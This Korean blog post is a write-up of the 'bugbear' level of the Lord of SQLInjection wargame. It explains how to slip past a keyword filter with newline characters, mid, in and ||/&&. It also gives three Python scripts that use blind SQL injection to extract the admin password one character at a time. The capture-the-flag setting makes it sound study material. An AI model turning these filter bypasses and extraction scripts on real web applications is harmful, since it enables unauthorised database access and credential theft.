[LOS] Level12: bugbear

두비니

·

2020. 1. 10. 18:22

 

Lord OSQLInjection: lv.12 bugbear

 

 

 

 

 

bugbear입니다.

비슷한거 같은데 preg_match가 더 추가되었네요.

pw에는 싱글쿼리, 

no에는 probl_ | . | () | ' | substr | ascii | = | or | and | (스페이스)| like | 0x

가 포함이 되면 안되네요.

 

 

<우회>

1.  (스페이스) : %09, %0a, %0b, %0c, %d로 우회(개행문자 hex값임)

2. substr : mid함수

3. = : in함수

4. or, and : ||, &&(%26%26)

5. ascii : ord함수

 

 

https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1%0e||%0aid%0ain(%22admin%22)%23

 

일단 Hello admin까지 출력시켰습니다.

 

 

https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1%0a||%0aid%0ain(%22admin%22)%0a%26%26%0aord(mid(pw,1,1))%3E0%23

 

 

근데 평소하던대로 ord(mid())를 하니, 무슨이유인지는 모르겠지만 ord()가 안먹힌다ㅠㅠ

preg_match에도 내용이 없는데 왜 안되는지 모르겠다...

 

 

++)ㅁㅊ생각해보니 ord에 "or"이 들어가있어서 안되나보다ㅠㅠㅠㅠ

 

 

 

근데 일단 mid함수까지 진행을 하면 string상태가 뽑히게 된다. 따라서 그 둘이 같은지 비교하는 루틴만 만들면 된다.

 

1. md5함수

 

import httplib

headers= {'Content-Type':'application/x-www-form-urlencoded', 'Cookie':'PHPSESSID=dcn2bc98j1qi3tg1khqovbugv5'}
conn= httplib.HTTPSConnection('los.rubiya.kr', 443)
pw=''
for i in range(1, 10):
    for j in range(32, 128):
        conn.request('GET', '/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=-99%0a||%0aid%0ain("admin")%26%26md5(mid(pw,'+str(i)+',1))in(md5(char('+str(j)+')))','',headers)
        r1 = conn.getresponse().read()
        if "Hello admin" in r1:
            pw += chr(j)
            print pw
            break

 

 

우선 mid는 str을 반환하고, str(j)는 ascii코드값(숫자)가 반환됩니다. 

따라서 md5에 앞에는 바로 넣어주면 되는데, str(j)부분은 일단 ascii값으로 바꿔주어야하기 때문에 char함수로 감싸주고 md5에 넣어줘야합니다.

 

 

2. hex함수

hex로 감싸주는 방법도 있겠죠.

import httplib

headers= {'Content-Type':'application/x-www-form-urlencoded', 'Cookie':'PHPSESSID=dcn2bc98j1qi3tg1khqovbugv5'}
conn= httplib.HTTPSConnection('los.rubiya.kr', 443)
pw=''
for i in range(1, 10):
    for j in range(32, 128):
        conn.request('GET', '/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=-99%0a||%0aid%0ain("admin")%26%26hex(mid(pw,'+str(i)+',1))in("'+chr(j).encode('hex')+'")','',headers)
        r1 = conn.getresponse().read()
        if "Hello admin" in r1:
            pw += chr(j)
            print pw
            break

 

 

 

3. conv함수

str(j)부분을 hex값으로 바꾸기 싫다면 str(i)부분을 다시 chr로 바꿔주는 방법도 있겠죠.

import httplib

headers= {'Content-Type':'application/x-www-form-urlencoded', 'Cookie':'PHPSESSID=dcn2bc98j1qi3tg1khqovbugv5'}
conn= httplib.HTTPSConnection('los.rubiya.kr', 443)
pw=''
for i in range(1, 10):
    for j in range(32, 128):
        conn.request('GET', '/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=-99%0a||%0aid%0ain("admin")%26%26conv(hex(mid(pw,'+str(i)+',1)),16,10)in("'+str(j)+'")','',headers)
        r1 = conn.getresponse().read()
        if "Hello admin" in r1:
            pw += chr(j)
            print pw
            break

 

 

 

 

 

 

 

어찌됐든 비번은 나오기마련!

 

 

 

 

 

얍얍